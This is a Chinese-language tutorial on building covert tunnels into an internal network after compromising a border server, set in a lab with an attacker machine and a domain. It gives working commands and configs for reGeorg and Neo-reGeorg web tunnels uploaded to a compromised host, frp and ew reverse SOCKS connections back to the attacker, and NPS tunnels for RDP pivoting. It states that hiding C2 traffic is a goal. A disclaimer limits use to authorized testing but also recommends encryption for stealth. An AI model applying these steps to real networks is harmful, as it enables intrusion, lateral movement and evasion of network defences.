内网穿透隐秘隧道搭建
字数 1681 2025-08-03 16:47:34

内网穿透隐秘隧道搭建技术详解

0x00 前言

内网穿透隐秘隧道技术用于突破网络限制,构建内网隐蔽通道,实现对目标服务器的控制。当从外网获得攻击点后,可通过反弹shell、端口转发、内网穿透等技术进一步入侵内网服务器。取得内网控制权限后,隧道技术可绕过网络限制,实现隐蔽C2服务器通信。

实验网络拓扑:

  • 攻击机:
    • Win10:192.168.1.6
    • Kali:192.168.1.7
  • 靶场:
    • VM1(边界服务器,Win7):192.168.52.143/192.168.1.5
    • VM2(域成员,2003):192.168.52.141
    • VM3(域控,2008):192.168.52.138

0x01 reGeorg隧道搭建

1.1 环境要求

  • 攻击机Kali
  • reGeorg软件(下载地址:https://github.com/sensepost/reGeorg)
  • 运行环境:Python、pip、urllib3

1.2 部署配置

  1. 上传隧道文件:将tunnel.nosocket.php上传至已控制的跳板机web目录

  2. 验证访问:访问http://192.168.1.5/tunnel.nosocket.php确认上传成功

  3. 启动reGeorg:

    python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
    

    此命令将本地1090端口的流量转发至指定URL

  4. 配置代理链:
    修改/etc/proxychains.conf,添加:

    socks5 127.0.0.1 1090
    

1.3 测试使用

proxychains curl http://192.168.52.143

0x02 Neo-reGeorg隧道搭建

1.1 生成隧道文件

python3 neoreg.py generate -k <password>

生成包含多种语言隧道文件的neoreg_server目录

1.2 部署配置

  1. 上传隧道文件:将生成的tunnel.php上传至跳板机
  2. 验证访问:访问http://192.168.1.5/tunnel.php
  3. 启动Neo-reGeorg:
    python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php
    
  4. 配置代理链:
    修改/etc/proxychains.conf,添加:
    socks5 127.0.0.1 1080
    

1.3 测试使用

proxychains curl http://192.168.52.143

0x03 frp隧道搭建

1.1 Windows环境配置

攻击机(服务端)配置:

  1. 编辑frps.ini
    [common]
    bind_port = 7000
    
  2. 启动服务端:
    frps.exe -c frps.ini
    

跳板机(客户端)配置:

  1. 编辑frpc.ini
    [common]
    server_addr = 192.168.1.6
    server_port = 7000
    
    [socks5]
    type = tcp
    remote_port = 8010
    plugin = socks5
    
  2. 启动客户端:
    frpc.exe -c frpc.ini
    

代理配置:

  1. SwitchyOmega配置SOCKS5代理:192.168.1.6:8010
  2. 或使用Proxifier配置相同代理

0x04 ew隧道搭建

1.1 Kali环境配置

正向代理:

  1. 在跳板机执行:
    ew_for_win_32.exe -s ssocksd -l 1090
    
  2. 修改/etc/proxychains.conf
    socks5 192.168.1.5 1090
    
  3. 测试:
    proxychains curl http://192.168.52.143/
    

反向代理:

  1. 服务端(攻击机)执行:
    ./ew_for_linux -s rcsocks -l 1080 -e 1024
    
  2. 客户端(跳板机)执行:
    ew.exe -s rssocks -d 192.168.1.7 -e 1024
    
  3. 配置代理链:
    修改/etc/proxychains.conf
    socks5 127.0.0.1 1080
    
  4. 测试:
    proxychains curl http://192.168.52.143/
    

0x05 NPS隐秘隧道搭建

1.1 建立连接

  1. 攻击机安装并启动NPS服务端:
    ./nps install
    nps start
    
  2. 访问Web界面:http://192.168.1.7:8080 (默认账号admin/123)
  3. 添加客户端,配置验证密钥(如"any"),开启压缩和加密传输
  4. 边界主机连接服务端:
    npc.exe -server=192.168.1.7:8024 -vkey=any
    

1.2 TCP隧道配置

  1. 在Web界面配置隧道:
    • 目标:192.168.52.143:3389
    • 服务端口:1111
  2. 使用隧道:
    rdesktop 192.168.1.7:1111
    

1.3 SOCKS5代理配置

  1. 在Web界面选择"SOCKS代理"模式,设置服务端端口(如1234)
  2. 配置代理服务器为192.168.1.7:1234
  3. 或配置Proxifier使用该代理
  4. 访问内网资源:
    curl http://192.168.52.143/
    

注意事项

  1. 所有技术仅用于合法授权测试
  2. 使用前确保获得目标系统所有者授权
  3. 传播或利用相关技术造成的后果由使用者自行承担
  4. 隧道通信建议启用加密以增强隐蔽性

参考资源

  • reGeorg: https://github.com/sensepost/reGeorg
  • Neo-reGeorg: https://github.com/L-codes/Neo-reGeorg
  • frp: https://github.com/fatedier/frp
  • ew: https://github.com/idlefire/ew
  • NPS: https://github.com/ehang-io/nps
内网穿透隐秘隧道搭建技术详解 0x00 前言 内网穿透隐秘隧道技术用于突破网络限制,构建内网隐蔽通道,实现对目标服务器的控制。当从外网获得攻击点后,可通过反弹shell、端口转发、内网穿透等技术进一步入侵内网服务器。取得内网控制权限后,隧道技术可绕过网络限制,实现隐蔽C2服务器通信。 实验网络拓扑: 攻击机: Win10:192.168.1.6 Kali:192.168.1.7 靶场: VM1(边界服务器,Win7):192.168.52.143/192.168.1.5 VM2(域成员,2003):192.168.52.141 VM3(域控,2008):192.168.52.138 0x01 reGeorg隧道搭建 1.1 环境要求 攻击机Kali reGeorg软件(下载地址:https://github.com/sensepost/reGeorg) 运行环境:Python、pip、urllib3 1.2 部署配置 上传隧道文件:将 tunnel.nosocket.php 上传至已控制的跳板机web目录 验证访问:访问 http://192.168.1.5/tunnel.nosocket.php 确认上传成功 启动reGeorg: 此命令将本地1090端口的流量转发至指定URL 配置代理链: 修改 /etc/proxychains.conf ,添加: 1.3 测试使用 0x02 Neo-reGeorg隧道搭建 1.1 生成隧道文件 生成包含多种语言隧道文件的 neoreg_server 目录 1.2 部署配置 上传隧道文件:将生成的 tunnel.php 上传至跳板机 验证访问:访问 http://192.168.1.5/tunnel.php 启动Neo-reGeorg: 配置代理链: 修改 /etc/proxychains.conf ,添加: 1.3 测试使用 0x03 frp隧道搭建 1.1 Windows环境配置 攻击机(服务端)配置: 编辑 frps.ini : 启动服务端: 跳板机(客户端)配置: 编辑 frpc.ini : 启动客户端: 代理配置: SwitchyOmega配置SOCKS5代理:192.168.1.6:8010 或使用Proxifier配置相同代理 0x04 ew隧道搭建 1.1 Kali环境配置 正向代理: 在跳板机执行: 修改 /etc/proxychains.conf : 测试: 反向代理: 服务端(攻击机)执行: 客户端(跳板机)执行: 配置代理链: 修改 /etc/proxychains.conf : 测试: 0x05 NPS隐秘隧道搭建 1.1 建立连接 攻击机安装并启动NPS服务端: 访问Web界面: http://192.168.1.7:8080 (默认账号admin/123) 添加客户端,配置验证密钥(如"any"),开启压缩和加密传输 边界主机连接服务端: 1.2 TCP隧道配置 在Web界面配置隧道: 目标: 192.168.52.143:3389 服务端口: 1111 使用隧道: 1.3 SOCKS5代理配置 在Web界面选择"SOCKS代理"模式,设置服务端端口(如1234) 配置代理服务器为 192.168.1.7:1234 或配置Proxifier使用该代理 访问内网资源: 注意事项 所有技术仅用于合法授权测试 使用前确保获得目标系统所有者授权 传播或利用相关技术造成的后果由使用者自行承担 隧道通信建议启用加密以增强隐蔽性 参考资源 reGeorg: https://github.com/sensepost/reGeorg Neo-reGeorg: https://github.com/L-codes/Neo-reGeorg frp: https://github.com/fatedier/frp ew: https://github.com/idlefire/ew NPS: https://github.com/ehang-io/nps